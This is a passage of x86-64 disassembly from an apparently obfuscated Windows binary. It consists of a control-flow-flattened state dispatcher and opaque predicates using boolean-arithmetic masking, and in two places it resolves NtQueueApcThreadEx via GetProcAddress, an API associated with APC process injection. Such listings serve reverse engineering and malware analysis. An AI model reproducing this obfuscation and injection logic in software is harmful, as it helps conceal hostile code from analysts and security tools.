and ebp, 0x4983e90c
or ebp, ebx
or eax, edx
and edx, 0xb67c16f3
and ecx, 0x4983e90c
or ecx, edx
xor ecx, ebp
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x72addef
and ecx, eax
and eax, 0xf8d52210
or eax, edx
xor eax, 0xf8d52210
mov edx, eax
and edx, ecx
xor eax, ecx
or eax, edx
setne r8b
sete bl
cmp dword [0x14024b6e4], 9
setg al
mov ecx, ebx
xor cl, r8b
and cl, bl
mov edx, ecx
xor dl, 1
and cl, dl
xor cl, 1
mov r9d, ecx
xor r9b, dl
or cl, dl
xor cl, 1
or cl, r9b
xor cl, al
mov r9d, ecx
xor r9b, 1
xor bl, al
and bl, al
xor al, r8b
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
xor dl, 1
and cl, r9b
and al, dl
mov ebx, ecx
and bl, r9b
xor cl, r9b
or cl, bl
mov ebx, eax
and bl, dl
xor al, dl
or al, bl
xor al, cl
mov ecx, r9d
xor cl, dl
or dl, r9b
xor dl, 1
or dl, cl
mov ebx, edx
xor bl, al
test dl, 1
mov ecx, 0xc494c017
mov ebp, 0x3c0fd4c8
cmovne ecx, ebp
mov rdx, qword [0x14024b040]
test al, 1
cmove ecx, ebp
mov qword [rsp + 0x30], rdx
test bl, 1
mov eax, 0xc494c017
jmp 0x14013dd20
cmp ecx, 0xdaa5606e
jg 0x140136683
cmp ecx, 0xda2372c1
je 0x14013a688
cmp ecx, 0xda38a867
jne 0x1401306d0
mov ecx, 0x349095d
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0xb716932d
jg 0x1401366b1
cmp ecx, 0xb5aa6aac
je 0x14013a69e
cmp ecx, 0xb5fa8fe8
jne 0x1401306d0
mov edx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ebx, [rdx - 1]
imul ebx, edx
mov ebp, ebx
not ebp
mov edx, ebp
and edx, 0x11520a04
mov ecx, ebx
and ecx, 0x42a01400
or ecx, edx
xor ecx, 0x42a01400
mov edx, ebx
xor edx, 0x53f21e04
and edx, ebx
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
mov ecx, edx
not ecx
and ecx, 0x5f564b3d
and edx, 0xa0a9b4c2
or edx, ecx
mov ecx, edx
xor ecx, 0x51088847
and ebp, 0x1ab3e38c
and ebx, 0xe54c1c73
or ebx, ebp
mov ebp, ebx
xor ebp, 0x45081c63
xor edx, 0xca45538
mov edi, edx
and edi, 0xa2576398
and ecx, 0x5da89c67
or ecx, edi
xor ebx, 0x2136388
and ebx, 0xa2576398
and ebp, 0x5da89c67
or ebp, ebx
xor ebp, ecx
xor edx, ebp
test edx, ebp
setne r8b
sete r9b
cmp eax, 9
setg r10b
cmp eax, 0xa
setl al
mov edx, eax
xor dl, r10b
and dl, al
mov ebx, edx
xor bl, 1
mov ecx, ebx
and cl, dl
mov r11d, ebx
xor r11b, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, r11b
xor cl, 1
or bl, dl
xor bl, 1
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
xor bl, r9b
and r8b, al
and r10b, r9b
or r10b, r8b
mov ecx, eax
and cl, r9b
xor al, r9b
or al, cl
xor al, 1
mov ecx, r10d
and cl, al
xor al, r10b
or al, cl
mov ecx, eax
mov edx, ebx
xor dl, al
and dl, bl
and al, bl
xor bl, 1
xor cl, 1
and cl, bl
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ebp, 0xd652f33f
mov ebx, 0x5fa0e24a
cmovne ebp, ebx
test al, 1
mov ecx, ebp
cmovne ecx, ebx
jmp 0x14013e28a
cmp ecx, 0xfede7485
jg 0x1401367e8
cmp ecx, 0xfd312ed7
je 0x14013a8a6
cmp ecx, 0xfdea4024
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov ebp, ecx
and ebp, 0xfffffffe
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
mov edi, ebp
and edi, edx
xor edx, ebp
or edx, edi
mov ebp, edx
not ebp
mov edi, edx
and edi, 0x85670af0
and ebp, 0x7a98f50f
or ebp, edi
or edx, ebx
and ebx, 0x85670af0
and ecx, 0x7a98f50f
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
cmp edx, 0xffffffff
sete r9b
setne r8b
cmp eax, 9
setg cl
cmp eax, 0xa
setl bl
mov eax, r8d
xor r9b, cl
and r9b, cl
xor cl, r8b
or r8b, bl
xor r8b, 1
xor al, bl
not al
and al, bl
mov ebx, r8d
and bl, al
xor al, r8b
or al, bl
mov edx, r9d
and dl, cl
xor cl, r9b
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, ecx
and bl, dl
mov r8d, ecx
xor r8b, bl
xor bl, 1
or bl, dl
xor bl, 1
or bl, r8b
mov edx, ebx
and dl, al
xor al, 1
xor bl, 1
and bl, al
or bl, dl
mov edx, eax
and dl, cl
xor al, cl
or al, dl
mov ecx, eax
xor cl, bl
test cl, 1
mov edx, 0x203155da
mov ecx, 0x6753b50
cmovne edx, ecx
test al, 1
mov ecx, 0x203155da
cmovne ecx, edx
jmp 0x14013d3d1
cmp ecx, 0x4fe64e9
jg 0x1401368f5
cmp ecx, 0x3a63540
je 0x14013a9b9
cmp ecx, 0x4d802ba
jne 0x1401306d0
mov ecx, 0x183b5718
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0x5fb293a7
jg 0x140136923
cmp ecx, 0x5f9595f2
je 0x14013aad5
cmp ecx, 0x5fa0e24a
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x4aa24462
and edx, 0xb55dbb9d
or edx, ecx
mov ebp, edx
xor ebp, 0x81a11
xor edx, 0x42024440
and edx, 0xf757e5cc
and ebp, 0x8a81a33
or ebp, edx
mov ecx, ebp
xor ecx, 0xf757e5cc
xor ebp, 0xa00810
mov ebx, ecx
and ebx, 0xfffffffe
and ebp, 0x45f74d5c
and ecx, 0xba08b2a3
or ecx, ebp
xor ecx, 0xba08b2a2
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x2582c105
and edx, ecx
and ecx, 0xda7d3efa
or ecx, ebp
mov ebp, ecx
xor ebp, 0x10612ec0
xor ecx, 0x2582c105
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xcf9c103f
and ebp, 0x3063efc0
or ebp, edi
or ecx, ebx
and ebx, 0xcf9c103f
and edx, 0x3063efc0
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
sete cl
setne dl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl r9b
mov eax, r9d
xor al, dl
mov ebx, eax
xor bl, r8b
and bl, al
or dl, r9b
or cl, r8b
mov eax, ecx
xor al, dl
or cl, dl
xor cl, 1
or cl, al
xor cl, bl
mov eax, ecx
not al
and al, bl
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0x5b540cf8
mov ebp, 0xdc9455b3
cmovne ecx, ebp
test al, al
mov eax, 0x5b540cf8
cmove ecx, eax
jmp 0x14013c3e8
cmp ecx, 0x29d9b821
jg 0x1401369fd
cmp ecx, 0x27a02dd7
je 0x14013aaeb
cmp ecx, 0x284f3c60
jne 0x1401306d0
mov ecx, 0x40fe9dd4
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0x4cb8ca62
jg 0x140136a2b
cmp ecx, 0x490a4ead
je 0x14013ab9b
cmp ecx, 0x49457a21
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea edx, [rcx - 1]
imul edx, ecx
mov edi, edx
not edi
mov ebp, edi
and ebp, 0x9f0a8f6a
mov ecx, edx
and ecx, 0x60f57094
or ecx, ebp
mov ebp, ecx
xor ebp, 0x60710004
xor ecx, 0x8008768
mov ebx, edx
or ebx, 0x884f7f8
and ecx, 0x884f7f8
and ebp, 0xf77b0806
or ebp, ecx
and ebx, 0x884f7f9
xor ebx, ebp
and edi, 0xe45e1a
and edx, 0xff1ba1e5
or edx, edi
mov ecx, edx
xor ecx, 0x9519a0a1
mov ebp, ebx
not ebp
mov edi, ebp
and edi, 0x6a22035c
and ebx, 0x95ddfca3
or ebx, edi
xor edx, 0x200218
and edx, 0x6a22035c
and ecx, 0x95ddfca3
or ecx, edx
xor ecx, ebx
xor ebp, ecx
test ebp, ecx
setne r8b
sete cl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov r9d, ecx
xor r9b, al
mov edx, r9d
xor dl, 1
and r8b, al
or al, cl
xor al, 1
and bl, cl
or bl, r8b
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov eax, ebx
not al
and al, dl
or dl, bl
and bl, r9b
or bl, al
mov eax, edx
xor al, bl
test bl, bl
mov ecx, 0x13eea244
mov ebp, 0x762da740
cmovne ecx, ebp
test dl, dl
mov edx, 0x13eea244
jmp 0x14013a89c
cmp ecx, 0x859b601a
jg 0x140136a59
cmp ecx, 0x83c6a0f1
je 0x14013acf1
cmp ecx, 0x856131a9
jne 0x1401306d0
mov edx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xfffffffe
mov ebx, ecx
xor ebx, 0xfffffffe
and ebx, ecx
mov edi, ebp
and edi, ebx
xor ebx, ebp
or ebx, edi
and edx, 0x8b5c3599
and ecx, 0x74a3ca66
or ecx, edx
mov edx, ecx
xor edx, 0x74a3ca66
xor ecx, 0x8b5c3599
and ecx, ebx
not ebx
and edx, ebx
or ecx, edx
not ecx
or ecx, ebx
cmp ecx, 0xffffffff
sete dl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg r9b
mov ecx, ebx
and bl, r8b
and r8b, r9b
and cl, dl
or cl, r8b
xor cl, 1
or cl, r9b
mov eax, ecx
xor al, 1
and dl, r9b
or bl, dl
mov edx, ecx
and dl, al
mov r8d, ecx
and r8b, dl
xor dl, cl
or dl, r8b
xor dl, bl
mov ecx, eax
xor cl, bl
or bl, al
xor bl, 1
or bl, cl
mov eax, edx
xor al, bl
not al
test al, 1
mov eax, 0xcd271efa
mov ecx, 0x285a909
cmovne eax, ecx
test bl, 1
mov ecx, 0xcd271efa
cmovne ecx, eax
jmp 0x14013ace9
cmp ecx, 0xc596e3f6
jg 0x140136bd8
cmp ecx, 0xc494c017
je 0x14013ad07
cmp ecx, 0xc53622c7
jne 0x1401306d0
mov ecx, 0x990db749
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0xa9a117e0
jg 0x140136c06
cmp ecx, 0xa72e6480
je 0x14013adbb
cmp ecx, 0xa85e1df3
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
mov r8d, dword [0x14024b6e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0xae0aa7c5
and ecx, edx
and edx, 0x51f5583a
or edx, ebp
xor edx, 0x51f5583a
mov ebp, edx
and ebp, ecx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
mov ebp, edx
xor ebp, 0xb35681fd
and ebp, ecx
mov esi, ecx
or esi, 0xb35681fd
mov edi, esi
not edi
mov ebx, ebp
not ebx
mov eax, ebx
and eax, 0xd4ec1f76
and ebp, 0x2b13e089
or ebp, eax
or ebx, esi
and esi, 0xd4ec1f76
and edi, 0x8016000
or edi, esi
xor edi, ebp
not ebx
or ebx, edi
mov eax, ebx
not eax
and eax, 0xba39d0a8
and ebx, 0x45c62f57
or ebx, eax
xor ebx, 0xf690aeab
and edx, 0xc002a1ae
mov eax, ecx
and eax, 0x3ffd5e51
or eax, edx
xor eax, 0xc002a1af
and ecx, 1
or ecx, eax
mov eax, ecx
not eax
and eax, 0xce1aaa37
and ecx, 0x31e555c8
or ecx, eax
xor ecx, 0x31e555c8
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov edx, ecx
mov eax, ecx
xor eax, 0x341cd67e
and eax, ecx
not ecx
and ecx, 0x2400d202
and edx, 0x101c047c
or edx, ecx
mov ecx, edx
xor ecx, 0x10180424
xor edx, 0xefe3fb83
mov ebp, eax
not ebp
mov ebx, edx
and ebx, 0x2fa4d858
and ecx, 0x10180626
or ecx, ebx
or edx, ebp
and ebp, 0x2fa4d858
and eax, 0xd05b27a7
or eax, ebp
xor eax, ecx
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0xcbe32981
and edx, 0x341cd67e
or edx, eax
mov eax, edx
not eax
and eax, 0x9b1534c0
and edx, 0x64eacb3f
or edx, eax
xor edx, 0x64eacb3f
cmp edx, 0xffffffff
setne r9b
sete r10b
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl r8b
mov edx, r8d
xor dl, cl
and dl, r8b
mov ebx, r10d
xor bl, r9b
and bl, r10b
mov r11d, ebx
xor r11b, dl
and bl, r11b
and r11b, dl
mov edx, ebx
and dl, r11b
xor r11b, bl
or r11b, dl
mov edx, ecx
xor dl, r10b
and dl, cl
and r9b, r8b
and cl, r10b
or cl, r9b
xor dl, 1
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov eax, r11d
xor al, 1
mov edx, eax
and dl, r11b
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov eax, edx
xor al, 1
and al, cl
xor cl, 1
and dl, cl
or dl, al
mov eax, r11d
xor al, cl
or cl, r11b
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xc7fbafd5
mov ebp, 0xb21b30c4
cmovne eax, ebp
test cl, 1
mov ecx, 0xc7fbafd5
jmp 0x14013c7fd
cmp ecx, 0xecfb52b8
jg 0x140136c34
cmp ecx, 0xe8bce6c1
je 0x14013aeab
cmp ecx, 0xeae51796
jne 0x1401306d0
mov eax, dword [0x14024b6e8]
mov ecx, dword [0x14024b6e4]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
not eax
mov ebp, eax
and ebp, 0xfffffffe
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
mov edi, ebp
and edi, edx
xor edx, ebp
or edx, edi
mov ebp, edx
not ebp
and eax, ebp
and edx, ebx
or edx, eax
not edx
or edx, ebp
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl r8b
cmp ecx, 9
setg cl
and dl, cl
mov ebx, r8d
and bl, al
or bl, dl
xor bl, 1
or bl, cl
xor cl, al
not cl
and cl, al
xor al, r8b
and al, r8b
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
and al, bl
xor bl, 1
xor cl, 1
mov edx, ebx
xor dl, cl
and dl, bl
and cl, bl
or cl, al
mov eax, edx
xor al, cl
test cl, 1
mov ecx, 0xf13fe161
mov ebp, 0x75313e58
cmovne ecx, ebp
test dl, 1
mov edx, 0xf13fe161
jmp 0x14013bfd7
cmp ecx, 0x172437cd
jg 0x140136d92
cmp ecx, 0x152bebe1
je 0x14013afb3
cmp ecx, 0x15bf8656
jne 0x1401306d0
mov rcx, qword [rsp + 0x30]
lea rdx, str.NtQueueApcThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0x337502d3
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0x721ed2d6
jg 0x140136ecf
cmp ecx, 0x6f0d797b
je 0x14013afc9
cmp ecx, 0x6f1e29a0
jne 0x1401306d0
mov eax, dword [0x14024b6e8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xecd15f71
and eax, ecx
and ecx, 0x132ea08e
or ecx, edx
mov edx, ecx
xor edx, 0x11000006
xor ecx, 0xecd15f71
mov ebp, eax
not ebp
mov ebx, ecx
and ebx, 0x8e7ef598
and edx, 0x71810a67
or edx, ebx
or ecx, ebp
and ebp, 0x8e7ef598
and eax, 0x71810a67
or eax, ebp
xor eax, edx
not ecx
or ecx, eax
mov edi, ecx
not edi
mov eax, edi
and eax, 0x74d34f0
and ecx, 0xf8b2cb0f
or ecx, eax
mov eax, ecx
xor eax, 0xf8b2cb0f
mov ebx, ecx
xor ebx, 0x699e45cd
and ebx, eax
or edi, 0x6ed3713d
mov ebp, edi
not ebp
mov edx, ebx
not edx
mov esi, edx
and esi, 0x872b324f
and ebx, 0x78d4cdb0
or ebx, esi
or edx, edi
and edi, 0x872b324f
and ebp, 0x10048c80
or ebp, edi
xor ebp, ebx
not edx
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0x912c8ec3
and edx, 0x6ed3713c
or edx, ebp
xor ecx, 0x30c0040
and ecx, 0x833e8947
mov ebp, eax
and ebp, 0x7cc176b8
or ebp, ecx
xor ebp, 0x833e8946
and eax, 1
or eax, ebp
not eax
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xb84bdc7b
and ecx, eax
and eax, 0x47b42384
or eax, edx
mov edx, eax
xor edx, 0x4b42304
xor eax, 0xb84bdc7b
mov ebp, ecx
not ebp
mov ebx, eax
and ebx, 0x5b4b58e3
and edx, 0xa4b4a71c
or edx, ebx
or eax, ebp
and ebp, 0x5b4b58e3
and ecx, 0xa4b4a71c
or ecx, ebp
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xc7ec3829
and eax, 0x3813c7d6
or eax, ecx
mov ecx, eax
xor ecx, 0x801c516
xor eax, 0x47003800
and eax, 0x77123ac0
and ecx, 0x88edc53f
or ecx, eax
mov eax, ecx
xor eax, 0x64000000
xor ecx, 0x84043c
and ecx, 0x13963efc
and eax, 0xec69c103
or eax, ecx
xor eax, 0xec69c103
sete al
setne cl
cmp dword [0x14024b6e4], 9
setg bl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
xor al, bl
mov edx, eax
xor dl, cl
or al, cl
mov ecx, eax
xor cl, dl
mov ecx, 0xb019d4ec
mov ebp, 0x69a25625
cmovne ecx, ebp
test dl, dl
mov edx, ecx
mov ebp, 0xb019d4ec
jmp 0x14013d675
cmp ecx, 0x382adb6d
jg 0x14013704e
cmp ecx, 0x3746fd2d
je 0x14013b151
cmp ecx, 0x37715746
jne 0x1401306d0
mov rcx, qword [rsp + 0x30]
lea rdx, str.NtQueueApcThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0x2201085
and edx, 0x8026a40
or edx, ecx
mov ebx, edx
xor ebx, 0x24800
xor edx, 0x7589109c
or ebp, 0xa227ac5
mov ecx, ebp
not ecx
and edx, 0x7d8932dc
and ebx, 0x2224801
or ebx, edx
and ebp, 0x7d8932dc
and ecx, 0x80548522
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x399fdcbd
and ecx, 0xc6602342
or ecx, edx
mov edx, ecx
xor edx, 0xcc425987
mov ebp, ecx
xor ebp, 0x2248440
and ebp, 0x8a649441
xor ecx, 0xdda33bda
and ecx, edx
and edx, 0x759b6bbe
or edx, ebp
mov esi, edx
xor esi, 0x759b6bbe
mov ebp, edx
xor ebp, 0x9b85f61c
and ebp, esi
mov edi, ebp
and edi, ecx
xor ecx, ebp
or ecx, edi
mov ebp, ecx
not ebp
and ebp, 0xb8b51204
and ecx, 0x474aedfb
or ecx, ebp
mov ebp, ecx
xor ebp, 0x22b8f02
xor edx, 0x88009000
and edx, 0xd912bb90
mov ebx, esi
and ebx, 0x26ed446f
or ebx, edx
xor ebx, 0xd912bb91
and esi, 1
or esi, ebx
mov edx, esi
not edx
xor ecx, 0xa9547058
mov ebx, ecx
and ebx, 0x759010ad
and ebp, 0x8a6fef52
or ebp, ebx
or ecx, esi
and esi, 0x759010ad
and edx, 0x8a6fef52
or edx, esi
xor edx, ebp
not ecx
or ecx, edx
mov ebp, ecx
not ebp
or ecx, 0xa19c4bc1
mov ebx, ecx
not ebx
or ebp, 0x5e63b43e
mov edx, ebp
not edx
and ecx, 0x8c064801
and ebx, 0x5261b43e
or ebx, ecx
and ebp, 0x8c064801
and edx, 0x219803c0
or edx, ebp
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0x94072989
and edx, 0x6bf8d676
or edx, ecx
mov ecx, edx
xor ecx, 0x30880008
xor edx, 0xca649db7
mov ebp, edx
and ebp, 0x4d1366d3
and ecx, 0xb2ec992c
or ecx, ebp
xor ecx, 0xb2ec992c
or ecx, edx
cmp ecx, 0xffffffff
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ebx, ecx
or bl, dl
xor cl, dl
not cl
and cl, dl
xor cl, 1
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
xor cl, 1
mov edx, eax
or dl, cl
xor cl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x9ad8bf75
mov ebp, 0xfcfedc95
cmovne ecx, ebp
test dl, 1
mov edx, 0x9ad8bf75
jmp 0x14013a89c
cmp ecx, 0x57a27600
je 0x140137e24
cmp ecx, 0x57db8a94
je 0x140137fb0
cmp ecx, 0x581faa89
jne 0x1401306d0
mov ecx, 0x2e74e61f
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0x97b52d0d
jg 0x14013708e
cmp ecx, 0x952b7f07
je 0x14013b26f
cmp ecx, 0x95d6501e
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
mov r8d, dword [0x14024b6e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0x20221018
and edx, 0x8c118023
or edx, ecx
mov ebx, edx
xor ebx, 0x80000021
xor edx, 0x3e20658
or ebp, 0xac33903b
mov ecx, ebp
not ecx
and edx, 0xff3865a
and ebx, 0xa0001021
or ebx, edx
and ebp, 0xff3865a
and ecx, 0x500c6984
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x1fc36ceb
and ecx, 0xe03c9314
or ecx, edx
mov edx, ecx
xor edx, 0x4c0f032f
mov ebx, ecx
xor ebx, 0xb3f0fcd0
mov ebp, ecx
xor ebp, 0xc0e37b66
mov edi, ebp
and edi, ebx
and ebp, edx
mov edx, edi
not edx
mov esi, ebp
not esi
mov eax, edx
and eax, 0x3a41bfc8
and edi, 0xc5be4037
or edi, eax
or edx, esi
and esi, 0x3a41bfc8
and ebp, 0xc5be4037
or ebp, esi
xor ebp, edi
not edx
or edx, ebp
mov eax, edx
not eax
and eax, 0x731387b7
and edx, 0x8cec7848
or edx, eax
and ebx, 1
xor ecx, 0xb3f0fcd1
or ecx, ebx
mov eax, ecx
not eax
and eax, 0x888a1875
and ecx, 0x7775e78a
or ecx, eax
xor ecx, 0x7775e78a
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xf955520b
and ecx, 0x6aaadf4
or ecx, edx
mov ebp, ecx
xor ebp, 0x20280a0
xor ecx, 0x40100000
or eax, 0x66df82ac
mov edx, eax
not edx
or ecx, 0x99202803
and ecx, 0xddb82807
and ebp, 0x224782a8
or ebp, ecx
and eax, 0xddb82807
and edx, 0x5550
or edx, eax
xor edx, ebp
mov eax, edx
not eax
and eax, 0xa358b202
and edx, 0x5ca74dfd
or edx, eax
mov eax, edx
xor eax, 0x3200c911
xor edx, 0x418730aa
and eax, 0xb600c915
and edx, 0x49ff36ea
or edx, eax
mov eax, edx
xor eax, 0xb0000914
xor edx, 0x405c06c2
and edx, 0x465cc6c3
and eax, 0xb9a3393c
or eax, edx
xor eax, 0xb9a3393c
setne r9b
sete r10b
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
mov eax, ebx
xor al, r10b
mov ecx, eax
xor cl, bl
and cl, al
or dl, r9b
xor dl, 1
or bl, r10b
xor bl, 1
mov eax, edx
and al, bl
xor bl, dl
or bl, al
xor bl, cl
mov eax, ebx
not al
and al, cl
mov ecx, eax
xor cl, bl
test cl, 1
mov edx, 0xff0dad13
mov ebp, 0x57db8a94
cmovne edx, ebp
test bl, bl
mov ecx, edx
cmovne ecx, ebp
test al, al
jmp 0x14013d55e
cmp ecx, 0xd649e255
jg 0x14013716a
cmp ecx, 0xd3de5fdd
je 0x14013b466
cmp ecx, 0xd5c162ac
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0xf3edaff1
and edx, ebp
not ebp
and ebp, 0xb03b58d7
and ecx, 0x4fc4a728
or ecx, ebp
mov ebp, ecx
xor ebp, 0x43048100
xor ecx, 0xb02908d1
or ecx, 0xc12500e
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xbce82ea2
and ebp, 0x43058151
or ebp, edi
or ecx, ebx
and ebx, 0xbce82ea2
and edx, 0x4317d15d
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xc7ce48e8
and ecx, 0x3831b717
or ecx, edx
mov edx, ecx
xor edx, 0xcbdc18e6
mov ebp, ecx
xor ebp, 0xcbdc18e7
and ebp, edx
xor ecx, 0x10234711
and ecx, 0x9bf34ff3
and edx, 0x640cb00c
or edx, ecx
xor edx, 0x640cb00d
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ecx, edx
not ecx
and edx, 0xb3354612
and ecx, 0x4ccab9ed
or ecx, edx
xor ecx, 0x4ccab9ed
cmp ecx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, edx
and cl, al
or dl, bl
and bl, r8b
or bl, cl
mov ecx, ebx
xor cl, al
and cl, bl
or al, r8b
mov ebx, eax
xor bl, dl
or al, dl
xor al, 1
or al, bl
mov edx, ecx
xor dl, 1
xor cl, al
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xb9376fd5
mov ebp, 0x8aedf6a3
cmovne edx, ebp
test cl, cl
mov ecx, edx
mov ebp, 0xb9376fd5
jmp 0x14013e668
cmp ecx, 0xb52853f1
jg 0x14013729b
cmp ecx, 0xb2f934cd
je 0x14013b56b
cmp ecx, 0xb51dfe09
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea edi, [rcx - 1]
imul edi, ecx
mov edx, edi
not edx
mov ecx, edx
and ecx, 0xcf9e7692
mov ebp, edi
and ebp, 0x3061896c
or ebp, ecx
mov ecx, ebp
xor ecx, 0x10618868
xor ebp, 0x47865080
mov ebx, edi
or ebx, 0x67865184
and ebp, 0x67865184
and ecx, 0x9879ae7a
or ecx, ebp
and ebx, 0x67865185
xor ebx, ecx
mov ecx, ebx
not ecx
and edx, ecx
and ebx, edi
or ebx, edx
xor ecx, ebx
test ecx, ebx
setne r8b
sete r9b
cmp eax, 9
setg r10b
cmp eax, 0xa
setl al
mov ebx, r9d
xor bl, r8b
and bl, r9b
mov ecx, ebx
xor cl, 1
mov edx, ecx
and dl, bl
mov r11d, ecx
xor r11b, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, r11b
xor dl, 1
or cl, bl
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov ebx, r10d
or bl, cl
xor cl, 1
or cl, al
xor cl, 1
xor bl, 1
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
and r8b, al
and r10b, r9b
or r10b, r8b
mov ecx, eax
and cl, r9b
xor al, r9b
or al, cl
xor al, 1
mov ecx, r10d
and cl, al
xor al, r10b
or al, cl
xor bl, 1
mov ecx, ebx
or cl, al
xor bl, al
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0x57a27600
cmovne eax, r15d
test bl, 1
mov edx, eax
mov ebp, 0x57a27600
cmovne edx, ebp
jmp 0x14013d76b
cmp ecx, 0xfc9e752c
jg 0x1401372c9
cmp ecx, 0xfb608f7e
je 0x14013b75c
cmp ecx, 0xfb6fde0d
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edi, ebp
not edi
mov edx, edi
or edx, 0x4bc49e8d
mov ecx, edx
not ecx
mov eax, ebp
or eax, 0x34234030
and eax, 0x3523da31
mov ebx, edi
and ebx, 0x4ac4048c
or ebx, eax
and edx, 0x3523da31
and ecx, 0x80182142
or ecx, edx
xor ecx, ebx
mov eax, ecx
not eax
and eax, 0xb43b6173
and ecx, 0x4bc49e8c
or ecx, eax
and edi, 0xa99f197f
and ebp, 0x5660e680
or ebp, edi
mov eax, ebp
xor eax, 0x54202600
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0x23d5d1b8
and ecx, 0xdc2a2e47
or ecx, edx
xor ebp, 0x21951138
and ebp, 0x23d5d1b8
and eax, 0xdc2a2e47
or eax, ebp
xor eax, ecx
not eax
or eax, ebx
cmp eax, 0xffffffff
sete dl
setne cl
cmp dword [0x14024b6e4], 9
setg bl
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov r8d, ecx
xor r8b, 1
mov eax, ebx
xor al, dl
not al
and al, dl
